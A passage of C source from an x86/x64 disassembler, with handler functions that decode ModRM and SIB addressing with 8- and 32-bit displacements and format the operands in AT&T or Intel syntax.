            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7]);
            (*pMyArgument).Memory.BaseRegister = REGS[7];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
}

// =======================================
//          ModRM_1
// =======================================
void __stdcall Addr_EAX_disp8(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SBYTE*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", ~MyNumber + 1);
        }
        else {
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[8]);
            (*pMyArgument).Memory.BaseRegister = REGS[8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[0]);
            (*pMyArgument).Memory.BaseRegister = REGS[0];
        }
    }
    else if (AddressSize == 32) {

        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[8]);
            (*pMyArgument).Memory.BaseRegister = REGS[8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[0]);
            (*pMyArgument).Memory.BaseRegister = REGS[0];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXSI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_1
// =======================================
void __stdcall Addr_ECX_disp8(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = (SBYTE) *((BYTE*) EIP_ + 2);
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", ~MyNumber + 1);
        }
        else {
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[9]);
            (*pMyArgument).Memory.BaseRegister = REGS[1+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1]);
            (*pMyArgument).Memory.BaseRegister = REGS[1];
        }
    }
    else if (AddressSize == 32) {

        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[9]);
            (*pMyArgument).Memory.BaseRegister = REGS[1+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1]);
            (*pMyArgument).Memory.BaseRegister = REGS[1];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXDI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_1
// =======================================
void __stdcall Addr_EDX_disp8(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SBYTE*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", ~MyNumber + 1);
        }
        else {
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[10]);
            (*pMyArgument).Memory.BaseRegister = REGS[2+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2]);
            (*pMyArgument).Memory.BaseRegister = REGS[2];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[10]);
            (*pMyArgument).Memory.BaseRegister = REGS[2+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2]);
            (*pMyArgument).Memory.BaseRegister = REGS[2];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPSI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_1
// =======================================
void __stdcall Addr_EBX_disp8(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SBYTE*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", ~MyNumber + 1);
        }
        else {
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[11]);
            (*pMyArgument).Memory.BaseRegister = REGS[3+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[11]);
            (*pMyArgument).Memory.BaseRegister = REGS[3+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPDI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", MyNumber);
        }
    }
}

// =======================================
//
// =======================================
void __stdcall Addr_SIB_disp8(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    if (!Security(2)) return;
    MyNumber = *((SBYTE*) (EIP_ + 3));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", ~MyNumber + 1);
        }
        else {
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", MyNumber);
        }
        //(void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        //i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize >= 32) {
        DECALAGE_EIP++;
        BASE_ = (*((BYTE*) (EIP_ + 2))) & 0x7;
        SCALE_ = ((*((BYTE*) (EIP_ + 2))) & 0xc0) >> 6;
        INDEX_ = ((*((BYTE*) (EIP_ + 2))) & 0x38) >> 3;
        j = i;
        i += SIB[SCALE_](pMyArgument, j);
    }
    else {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic, Registers16Bits[6]);
        i += strlen (Registers16Bits[6]);
    }

    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i++;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", MyNumber);
        }
    }

}

// =======================================
//          ModRM_1
// =======================================
void __stdcall Addr_EBP_disp8(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SBYTE*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", ~MyNumber + 1);
        }
        else {
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[13]);
            (*pMyArgument).Memory.BaseRegister = REGS[5+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[5]);
            (*pMyArgument).Memory.BaseRegister = REGS[5];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[13]);
            (*pMyArgument).Memory.BaseRegister = REGS[5+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[5]);
            (*pMyArgument).Memory.BaseRegister = REGS[5];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[7]);
            (*pMyArgument).Memory.BaseRegister = REGS[7];
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_1
// =======================================
void __stdcall Addr_ESI_disp8(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SBYTE*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", ~MyNumber + 1);
        }
        else {
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[14]);
            (*pMyArgument).Memory.BaseRegister = REGS[6+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6]);
            (*pMyArgument).Memory.BaseRegister = REGS[6];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[14]);
            (*pMyArgument).Memory.BaseRegister = REGS[6+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6]);
            (*pMyArgument).Memory.BaseRegister = REGS[6];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[5]);
            (*pMyArgument).Memory.BaseRegister = REGS[5];
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_1
// =======================================
void __stdcall Addr_EDI_disp8(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SBYTE*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", ~MyNumber + 1);
        }
        else {
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.2X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[15]);
            (*pMyArgument).Memory.BaseRegister = REGS[7+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7]);
            (*pMyArgument).Memory.BaseRegister = REGS[7];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[15]);
            (*pMyArgument).Memory.BaseRegister = REGS[7+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7]);
            (*pMyArgument).Memory.BaseRegister = REGS[7];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.2X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_2
// =======================================
void __stdcall Addr_EAX_disp32(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SDWORD*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i ++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", ~MyNumber + 1);
        }
        else {
            j = i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[8]);
            (*pMyArgument).Memory.BaseRegister = REGS[8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[0]);
            (*pMyArgument).Memory.BaseRegister = REGS[0];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[8]);
            (*pMyArgument).Memory.BaseRegister = REGS[8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[0]);
            (*pMyArgument).Memory.BaseRegister = REGS[0];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXSI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }
}


// =======================================
//          ModRM_2
// =======================================
void __stdcall Addr_ECX_disp32(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SDWORD*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i ++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", ~MyNumber + 1);
        }
        else {
            j = i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[9]);
            (*pMyArgument).Memory.BaseRegister = REGS[1+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1]);
            (*pMyArgument).Memory.BaseRegister = REGS[1];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[9]);
            (*pMyArgument).Memory.BaseRegister = REGS[1+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1]);
            (*pMyArgument).Memory.BaseRegister = REGS[1];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXDI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_2
// =======================================
void __stdcall Addr_EDX_disp32(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SDWORD*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i ++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", ~MyNumber + 1);
        }
        else {
            j = i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[10]);
            (*pMyArgument).Memory.BaseRegister = REGS[2+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2]);
            (*pMyArgument).Memory.BaseRegister = REGS[2];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[10]);
            (*pMyArgument).Memory.BaseRegister = REGS[2+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2]);
            (*pMyArgument).Memory.BaseRegister = REGS[2];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPSI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }
}

// =======================================
//          ModRM_2
// =======================================
void __stdcall Addr_EBX_disp32(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    MyNumber = *((SDWORD*) (EIP_ + 2));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i ++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", ~MyNumber + 1);
        }
        else {
            j = i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", MyNumber);
        }
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[11]);
            (*pMyArgument).Memory.BaseRegister = REGS[3+8];
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
        }
    }
    else if (AddressSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[11]);
            (*pMyArgument).Memory.BaseRegister = REGS[3+8];

        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3]);
            (*pMyArgument).Memory.BaseRegister = REGS[3];
        }
    }
    else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPDI_);
    }
    i = strlen ((char*) &(*pMyArgument).ArgMnemonic);
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", MyNumber);
        }
    }
}

// =======================================
//
// =======================================
void __stdcall Addr_SIB_disp32(ARGTYPE* pMyArgument)
{
    int i = 0, j;
    long MyNumber;
    if (!Security(2)) return;
    MyNumber = *((SDWORD*) (EIP_ + 3));
    (*pMyArgument).Memory.Displacement = MyNumber;
    if (SYNTAX_ == ATSyntax) {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i ++;
            j=i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", ~MyNumber + 1);
        }
        else {
            j = i;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+j,"%.8X", MyNumber);
        }
        //(void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%");
        //i+=2;
    }
    (*pMyArgument).ArgType = MEMORY_TYPE;
    if (AddressSize >= 32) {
        DECALAGE_EIP++;
        BASE_ = ((BYTE) *((BYTE*) EIP_ + 2)) & 0x7;
        SCALE_ = (((BYTE) *((BYTE*) EIP_ + 2)) & 0xc0) >> 6;
        INDEX_ = (((BYTE) *((BYTE*) EIP_ + 2)) & 0x38) >> 3;
        j = i;
        i += SIB[SCALE_](pMyArgument, j);
    }
    else {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic, Registers16Bits[6]);
        (*pMyArgument).Memory.BaseRegister = REGS[6];
        i += strlen (Registers16Bits[6]);
    }

    if (SYNTAX_ == ATSyntax) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")");
        i += 1;
    }
    else {
        if (MyNumber < 0) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-");
            i++;
            i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic+i,"%.8X", ~MyNumber + 1);
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+");
            i++;
